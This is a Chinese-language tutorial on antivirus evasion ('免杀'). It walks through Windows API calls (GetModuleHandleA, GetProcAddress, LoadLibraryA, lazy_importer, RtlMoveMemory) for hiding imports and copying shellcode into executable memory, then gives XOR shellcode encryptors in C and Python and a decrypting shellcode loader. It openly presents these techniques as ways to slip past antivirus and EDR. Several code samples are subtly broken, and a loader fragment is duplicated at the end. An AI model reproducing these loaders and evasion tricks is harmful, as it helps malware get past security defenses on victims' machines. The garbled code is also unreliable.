免杀二 内存函数与加密
文章目录
- 内存读取函数
- GetModuleHandleA 获取文件地址(附近内存)
- GetProcAddress 根据地址获取函数
- 参数一 HMODULE hModule 传递获取的dll或exe文件的地址
- 参数二 LPCSTR lpProcName 函数名或序号
- 举例
- LoadLibraryA
- 案例
- GetModuleHandleA 和LoadLibraryA的区别用法
- lazy_importer C++
- 案例
- RtlMoveMemory 复制载荷到内存中
- RtlCopyMemory 复制载荷到内存中
- 遍历加载内存
- 异或加密
- C加密
- 补充
- malloc
- 解释
- 用法
- size_t
- 解释
- 用法
- python加密算法
- 解密加载器
内存读取函数
GetModuleHandleA 获取文件地址(附近内存)
检索指定模块的模块句柄。 该模块必须由调用进程加载
HMODULE GetModuleHandleA([in, optional] LPCSTR lpModuleName
);
想象你的电脑里同时运行了很多程序(比如浏览器、音乐播放器等),每个程序就像一栋“房子”。GetModuleHandleA
的作用是:帮你快速找到某栋“房子”的门牌号(地址)。
- 用途:
比如你想知道“音乐播放器”这栋房子(假设是music.exe
)的位置,或者它用到的某个“音响设备库”(比如sound.dll
)的位置,这个函数能直接告诉你地址。 - 怎么用:
你告诉它要找的“房子名字”(比如"sound.dll"
),它就会返回地址。如果你不告诉它名字(传NULL
),它会默认返回你自己住的“房子”的地址(当前程序自己的地址)。 - 注意:
它只能找已经在你家附近(内存中)的房子。如果房子还没盖好(DLL 未加载),它会说“找不到”(返回NULL
)。
举个栗子 🌰
假设你写了一个程序,想用 Windows 自带的“弹窗”功能(属于 user32.dll
这个库):
- 你问系统:“
user32.dll
这个库在哪?” →GetModuleHandleA("user32.dll")
。 - 系统告诉你它的地址(句柄)。
- 你根据这个地址,找到“弹窗”功能的具体位置(用
GetProcAddress
),然后就能愉快地弹窗了!
GetProcAddress 根据地址获取函数
从指定的动态链接库 (DLL) 检索导出函数 (也称为过程) 或变量的地址。
用于从指定的DLL模块中获取导出函数的地址。它的主要作用是在运行时动态获取函数指针,这样程序就可以在不静态链接到DLL的情况下调用其中的函数。
FARPROC GetProcAddress([in] HMODULE hModule,[in] LPCSTR lpProcName
);
想象你有一个工具箱(DLL 文件),里面装满了各种工具(函数)。GetProcAddress
的作用是:帮你从工具箱里找到指定工具的“使用说明书”(函数地址),这样你就能在代码中安全地使用这个工具了。
-
核心用途:运行时动态获取函数地址(而不是编译时静态链接)。
-
典型场景
:
- 调用未在头文件中声明的函数。
- 动态加载不同版本的 DLL 函数(兼容性处理)。
- 插件系统、热更新等灵活功能。
返回值
- 成功:返回函数地址(
FARPROC
类型,需转换为具体函数指针)。 - 失败:返回
NULL
(可通过GetLastError()
获取错误码)。
参数一 HMODULE hModule 传递获取的dll或exe文件的地址
hModule
:- 通过
GetModuleHandleA
或LoadLibraryA
获取的 DLL 句柄(即“工具箱”的句柄)。
- 通过
参数二 LPCSTR lpProcName 函数名或序号
lpProcName
:- 类型:
LPCSTR
(ANSI 字符串)。 - 可以是函数名(如
"MessageBoxA"
),或函数的序号(如MAKEINTRESOURCE(123)
)。 - 推荐始终用函数名,序号可能随 DLL 版本变化。
- 类型:
举例
#include <windows.h>typedef LPVOID (WINAPI *MymemoryAfunc)(LPVOID startaddress,size_t size,DWORD waytype,DWORD protect
)
main(){HMODULE getdll = GetModuleHandleA("kernel32.dll");//获取kernerl32地址MymemoryAfunc Mymemory = (MymemoryAfunc)GetProcAddress(getdll,"VirtualAlloc");LPVOID mem = Mymemory(0,100,MEM_COMMIT|MEM_RESERVE,PAGE_READONLY);}
LoadLibraryA
LoadLibraryA
是 Windows API 中一个关键函数,它的核心任务是将指定的 DLL 或 EXE 文件加载到当前程序的内存中,使程序能够访问该模块中的代码、资源或数据。
HMODULE LoadLibraryA([in] LPCSTR lpLibFileName
);
1. 核心功能
- 加载模块:如果目标 DLL/EXE 未被加载,系统会将其载入内存。
- 增加引用计数:如果目标 DLL/EXE 已加载,系统会递增其引用计数(内部计数器+1)。
- 返回句柄:无论是否首次加载,均返回模块的句柄(
HMODULE
),用于后续操作(如GetProcAddress
)。
想象你的电脑程序是一个“工厂”,而 DLL 文件就像一个个“工具箱”(里面装满了各种工具函数)。LoadLibraryA
的作用是:把某个工具箱(DLL)从仓库(硬盘)搬到工厂车间(内存)里,这样工人(程序)就能使用里面的工具了!
关键点
-
搬工具箱:
- 如果工具箱不在车间,
LoadLibraryA
会去仓库找到它,搬到车间。 - 如果工具箱已在车间,
LoadLibraryA
只是贴个标签(增加引用计数),表示“又多了一个工人要用它”。
- 如果工具箱不在车间,
-
标签(引用计数):
- 每次调用
LoadLibraryA
,工具箱上贴的标签数 +1。 - 每次调用
FreeLibrary
,标签数 -1。 - 当标签数为 0,工厂会把工具箱搬回仓库(从内存卸载)。
- 每次调用
-
为什么要用?
- 你的工厂不确定某个工具箱是否已在车间,但需要用它。
- 你想节省车间空间,只在需要时才搬工具箱进来。
案例
#include <windows.h>typedef LPVOID (WINAPI *Mymemoryfunc)( LPVOID startaddress,size_t size,DWORD type,DWORD protect );int main(){//加载dll文件HMODULE ker32 = LoadLibraryA("kernel32.dll");Mymemoryfunc Mymemory = (Mymemoryfunc)GetProcAddress(ker32,"VirtualAlloc");LPVOID mem = Mymemory(0,100,MEM_COMMIT|MEM_RESERVE,PAGE_READONLY);FreeLibrary(kernel32.dll);}
GetModuleHandleA 和LoadLibraryA的区别用法
对比 GetModuleHandleA
LoadLibraryA
:
“不管工具箱在不在车间,我都要用!如果不在,就去仓库搬;如果已经在,就贴个标签。”GetModuleHandleA
:
“我只看看车间里有没有这个工具箱。如果有,告诉我位置;如果没有,就算了(不搬)。”
)。”
实际例子
- 场景 1:你写了一个程序,要用到“高级计算器工具箱”(
calc.dll
),但不确定用户是否安装了它。- 用LoadLibraryA尝试加载calc.dll
- 成功:使用里面的计算功能。
- 失败:提示用户“缺少计算器组件”。
- 用LoadLibraryA尝试加载calc.dll
- 场景 2:你的程序支持插件(如“图片滤镜工具箱”
filter.dll
),用户点击“加载滤镜”时才需要它。- 点击时调用
LoadLibraryA("filter.dll")
搬工具箱到车间。 - 用户关闭滤镜时调用
FreeLibrary
,减少标签数。
- 点击时调用
注意事项
- 用完要归还:
每次LoadLibraryA
后必须调用FreeLibrary
,否则工具箱一直占车间空间(内存泄漏)! - 错误处理:
- 如果
LoadLibraryA
返回NULL
,表示工具箱找不到或损坏。 - 用
GetLastError()
查看具体原因(如“仓库里没有这个工具箱”)。
- 如果
总结
-
LoadLibraryA
:需要时搬工具箱,确保车间里有它。 -
GetModuleHandleA
:只检查工具箱是否已在车间。 -
口诀
- 不确定有没有,用
LoadLibraryA
。 - 确定已经有了,用
GetModuleHandleA
。 - 用完记得还,
FreeLibrary
不能少!
- 不确定有没有,用
lazy_importer C++
lazy_importer
是一个用于 Windows 系统编程的 header-only 库,主要用于 动态/延迟加载 API 函数。
// 传统调用(会在导入表中留下痕迹)
HMODULE hMod = LoadLibraryA("kernel32.dll");
FARPROC pFunc = GetProcAddress(hMod, "VirtualAlloc");// lazy_importer 方式(无字符串/无直接调用):
auto pVirtualAlloc = LI_FN(VirtualAlloc).in_safe();
通过以下技术实现:
- 按需加载 DLL - 使用
GetModuleHandleW
避免多次加载 - 哈希函数名 - 使用 FNV-1a 等算法处理函数/DLL 名称
- 动态解析地址 - 通过
GetProcAddress
的替代实现 - 消除字符串 - 所有标识符在编译时转为哈希值
案例
#include <lazy_importer.hpp>
void* mem =LI_FN(VirtualAlloc)(
0,
100,
MEM_COMMIT,
PAGE_READONLY);
宏 | 作用 |
---|---|
LI_FN(func) | 创建函数解析器 |
.in("dll") | 指定目标 DLL |
.in_safe() | 使用安全加载模式 |
.cached() | 缓存已解析的函数指针 |
实战示例(执行 shellcode)
#include <lazy_importer.hpp>void RunShellcode() {// 1. 分配内存auto pVA = LI_FN(VirtualAlloc).in_safe();void* execMem = pVA(nullptr, scSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);// 2. 复制 shellcodeauto pRtlMoveMemory = LI_FN(RtlMoveMemory).cached();pRtlMoveMemory(execMem, shellcode, scSize);// 3. 创建线程执行auto pCTE = LI_FN(CreateThreadEx).in("kernel32.dll");HANDLE hThread = pCTE(nullptr, 0, (LPTHREAD_START_ROUTINE)execMem, nullptr, 0, nullptr, 0);
}
🌟 核心特点
- 规避静态分析 - 不直接导入敏感 API
- 减少 IAT 痕迹 - 不在导入表中留下记录
- 动态解析函数 - 运行时通过哈希获取地址
- 绕过简单检测 - 对抗基础版杀毒软件/EDR
RtlMoveMemory 复制载荷到内存中
将源内存块的内容复制到目标内存块,并支持重叠的源内存块和目标内存块
VOID RtlMoveMemory(_Out_ VOID UNALIGNED *Destination,_In_ const VOID UNALIGNED *Source,_In_ SIZE_T Length
);
和memcpy使用时是一样的
-
memcpy:
- 是标准 C 库函数,广泛用于合法程序,静态特征常见。
- 安全软件通常不会单独将其视为恶意行为。
- 劣势:若在敏感操作(如注入代码、解密Payload)中使用,可能被行为分析引擎关联检测。
-
RtlMoveMemory:
- 是 Windows API 函数,常用于系统级操作(如驱动开发)。
- 部分恶意软件会刻意使用冷门 API 规避检测,因此
RtlMoveMemory
可能被标记为可疑(尤其是与敏感操作结合时)。 - 优势:可绕过基于
memcpy
特征的传统检测规则。
-
内存重叠处理:
RtlMoveMemory
支持内存重叠(类似memmove
),在特定场景(如自修改代码)中更稳定。memcpy
不处理重叠,若误用可能导致崩溃,暴露恶意行为。
-
行为监控:
- 高级沙箱或 EDR 可能监控敏感 API 调用链。
RtlMoveMemory
若与VirtualAlloc
、WriteProcessMemory
等组合使用,可能触发告警。 memcpy
的通用性使其在合法场景中出现频率更高,隐蔽性可能更好。
- 高级沙箱或 EDR 可能监控敏感 API 调用链。
RtlCopyMemory 复制载荷到内存中
功能本质
-
RtlCopyMemory
:-
实际是
memcpy
的别名:在 Windows 头文件(
winbase.h
)中定义为:
#define RtlCopyMemory(dst, src, len) memcpy(dst, src, len) copy
-
与
memcpy
行为完全一致:不处理内存重叠,源和目标区域重叠时行为未定义。
-
-
RtlMoveMemory
:-
实际是
memmove
的别名:在头文件中定义为:
#define RtlMoveMemory(dst, src, len) memmove(dst, src, len) copy
-
与
memmove
行为一致:支持内存重叠,能安全处理源和目标区域重叠的情况。
-
安全性对比
- 内存重叠场景:
RtlCopyMemory
(即memcpy
):不安全,重叠时可能导致数据损坏。RtlMoveMemory
(即memmove
):安全,会检查并处理重叠区域。
- 典型用途:
RtlCopyMemory
:适用于明确无内存重叠的场景(如新建缓冲区复制)。RtlMoveMemory
:适用于不确定内存是否重叠的场景(如滑动数据窗口)。
攻防视角的检测差异
- 静态特征:
RtlCopyMemory
和RtlMoveMemory
均为 Windows API,但前者本质是memcpy
,后者是memmove
。- 安全软件可能对两者均标记为“内存操作”,但单独调用不一定是恶意行为。
- 行为监控:
- 若在敏感操作中(如注入代码、修改进程内存)频繁调用
RtlMoveMemory
,可能因内存重叠处理被关联分析。 RtlCopyMemory
的memcpy
特性更常见,但若在非常规上下文中使用(如解密到当前缓冲区),也可能触发告警。
- 若在敏感操作中(如注入代码、修改进程内存)频繁调用
代码示例
// 使用 RtlCopyMemory(不处理重叠)
RtlCopyMemory(dest, src, size);// 使用 RtlMoveMemory(处理重叠)
RtlMoveMemory(dest, src, size);
遍历加载内存
可以通过遍历加载到内存中从而绕过杀软
#include <stdio.h>
#include <windows.h>
unsigned char* code []="";
int main{unsigned char * mem = (unsigned char*)malloc(sizeof(code));for (size_t i=0;i<sizeof(code);i++){mem[i]=code[i];};DWORD old_protect;VirtualProtect(mem, sizeof(code), PAGE_EXECUTE_READWRITE, &old_protect); ((void(*)())mem)();free(mem);return 0;}
无调用api
异或加密
C加密
补充
malloc
解释
动态内存分配是在堆区进行的,和自动变量在栈上不同,这样可以在程序运行时根据需要分配内存,更灵活。比如,当不知道数组需要多大时,可以用malloc分配空间。
想象你开了一个小仓库(内存),里面有很多储物柜。malloc
的作用就是帮你临时租一个储物柜,用来存放东西(数据)。它的工作流程是这样的:
1. 租柜子
- 你要做什么:告诉仓库管理员(
malloc
)你需要多大的柜子(比如能放下10件衣服)。 - 管理员操作:管理员在仓库里找一块连续的空柜子,把第一个柜子的编号(地址)给你。
- 注意:如果仓库满了,管理员会告诉你“没位置了”(返回
NULL
),这时候你不能硬往里塞,否则会出事(程序崩溃)。
2. 使用柜子
- 拿到编号后:你可以往柜子里放东西(存数据),但柜子里可能有之前人留下的垃圾(内存中的随机值)。
- 重要规则:柜子的大小和用途完全由你决定。比如你租了10个柜子,可以当作衣柜、书柜,甚至改造成小冰箱(存不同类型的数据)。
3. 归还柜子
- 用完了:一定要喊管理员来清空柜子(用
free()
函数),否则就算你不用了,柜子也会一直被占着(内存泄漏)。 - 忘记归还:如果所有人都不归还,仓库迟早会被塞满,管理员再也租不出柜子(程序内存耗尽崩溃)。
用法
C中malloc
返回的 void*
可以隐式转换为任何指针类型(不强制要求转换),但显式转换能提高代码可读性。
//C中
unsigned char* p = malloc(100);
C++必须显式转换,因为 C++ 不允许 void*
隐式转换为其他指针类型。
unsigned char* p =(unsigned char*)malloc(100)
size_t
解释
size_t
是 C/C++ 中一个特殊的无符号整数类型,专门用于表示内存中对象的大小或数量。它是语言标准中定义的关键类型之一,理解它的用途对编写健壮、可移植的代码非常重要
核心特性
-
无符号性:
只能表示非负数(0
及正整数),避免负数导致逻辑错误(如“大小为-5字节”无意义)。 -
平台相关性
:
具体位数由编译器/系统决定,通常:
- 32 位系统:
32 位
(等价于unsigned int
) - 64 位系统:
64 位
(等价于unsigned long
)
- 32 位系统:
-
标准定义:
在头文件<stddef.h>
(C)或<cstddef>
(C++)中定义。
为什么需要 size_t
?
- 表示最大可能对象:
确保能表示系统中允许的最大内存块大小(例如在 64 位系统中,unsigned int
可能只有 32 位,无法正确表示超过 4GB 的内存)。 - 代码可移植性:
统一处理不同平台上的内存大小(避免手动选择unsigned int
或unsigned long
)。 - 与标准库一致性:
所有标准库函数(如malloc
、strlen
、sizeof
)返回或使用size_t
类型。
通俗易懂
- 数大数时不翻车:
普通计数器(如int
)数到一定值会“归零”(溢出),而size_t
能数更大的数,适合数内存这种动不动就上亿的东西。 - 专业的事专业工具做:
像malloc
(分配内存)、strlen
(算字符串长度)这些工具都统一用size_t
,大家用同样的标准才不会乱。
用法
-
数东西
// 数数组有多少元素 int arr[100]; for (size_t i = 0; i < sizeof(arr)/sizeof(arr[0]); i++) {printf("第%zu个元素\n", i); // 用 %zu 打印 } copy
-
量大小
// 量内存要多大 size_t 内存大小 = 1024 * 1024; // 1MB char* 内存块 = malloc(内存大小); copy
-
算长度
// 算字符串多长 size_t 长度 = strlen("你好世界");
先写应该异或加密的脚本分开存储
#include <stdio.h> //输入输出头文件
#include <windows.h>
#include<stdlib.h> //标准库unsigned char shellcode[] = "\x65\x56\x99";
unsigned char xor_key[] = {'s','b'};//定义一个加密函数在形参中将mem转化为unsigned char*类型的指针方便操作内存空间 size_t是为了超出长度内存溢出
unsigned encrypt(unsigned char* data,size_t code_len,unsigned char* key,int key_len) {for (size_t i = 0;i < code_len;i++) {data[i] ^= key[i % key_len];a};}int main() {//调用malloc的函数生成内存空间存放shellcodeunsigned char* mem = malloc(sizeof(shellcode)-1);//复制shellcode到内存中memcpy(mem, shellcode, sizeof(shellcode)-1);//定义一个加密函数传入的数据有刚刚申请的内存,shellcode的大小,密钥,密钥长度encrypt(mem, sizeof(shellcode)-1, xor_key, sizeof(xor_key));//打印加密后的函数for(size_t i=0;i<sizeof(shellcode)-1;i++){printf("\\x%02x",mem[i]); };//最后进行释放内存free(mem);return 0;
}
python加密算法
shellcode=input("输入你的shellcode\n").strip()
xor_key=input("请输入你的key\n").strip()
#startswith是判断开头是否有该字符
if shellcode.startswith('\\x'):#处理字符串中的/xhex_code=shellcode.replace("\\x","")#转换成纯16进制的格式
shellcode = bytes.fromhex(hex_code)
xor_key=xor_key.encode()
# enumerate函数的作用是为可迭代对象的每个元素生成一个包含索引和值的元组。例如,对于列表['a', 'b', 'c'],enumerate会生成(0, 'a'), (1, 'b'), (2, 'c')。在 for 循环中,可以直接将元组的两个元素解包到两个变量:for 索引, 值 in enumerate(可迭代对象):
#[ 表达式 for 变量 in 可迭代对象 ] 从可迭代对象中取出一个元素。
#1.将元素赋值给 变量。
#2.计算 表达式 的值。
#3.将结果存入列表。
#4.重复步骤1-4,直到遍历完所有元素。
encrypt_code=bytes([b^xor_key[i%len(xor_key)] for i , b in enumerate(shellcode)])
print("".join(f"\\x{b:02x}"for b in encrypt_code))
解密加载器
#include <stdio.h>
#include <windows.h>
#include <stdlib.h>unsigned char encode[]="";
unsigned char key[]={};
size_t e_len = sizeof(encode)-1;DWORD WINAPI decrypt(LPVOID param){unsigned char* data = unsigned char*(param);for(size_t i = 0;i<e_len;i++ ){//跟加密的异或一样data[i]^=key[i%sizeof(key)];printf("\\x%02x",data[i]);};DWORD oldProtect;if(!VirtualProtect(data,e_len,&oldProtect,PAGE_EXECUTE_READWRITE)){VirtualFree(data,0,MEM_RELEASE);return 1;};((void(*)())data)();return 0;
}int main(){LPVOID memory = VirtualAlloc(NULL,e_len,MEM_COMMIT,PAGE_READ);memcpy(memory,encode,e_len);DWORD id;HANDLE thread = CreateThread(NULL,0,decrypt,memory,0,&id);printf("进程id为:%d",id);WaitForSingleObject(thread,INFINITE);CloseHandle(thread);VirtualFree(memory,0,MEM_RELEASE);return 0;}
nt main(){
LPVOID memory = VirtualAlloc(NULL,
e_len,
MEM_COMMIT,
PAGE_READ);
memcpy(memory,encode,e_len);
DWORD id;
HANDLE thread = CreateThread(NULL,
0,
decrypt,
memory,
0,
&id);
printf(“进程id为:%d”,id);
WaitForSingleObject(thread,INFINITE);
CloseHandle(thread);
VirtualFree(memory,0,MEM_RELEASE);
return 0;
}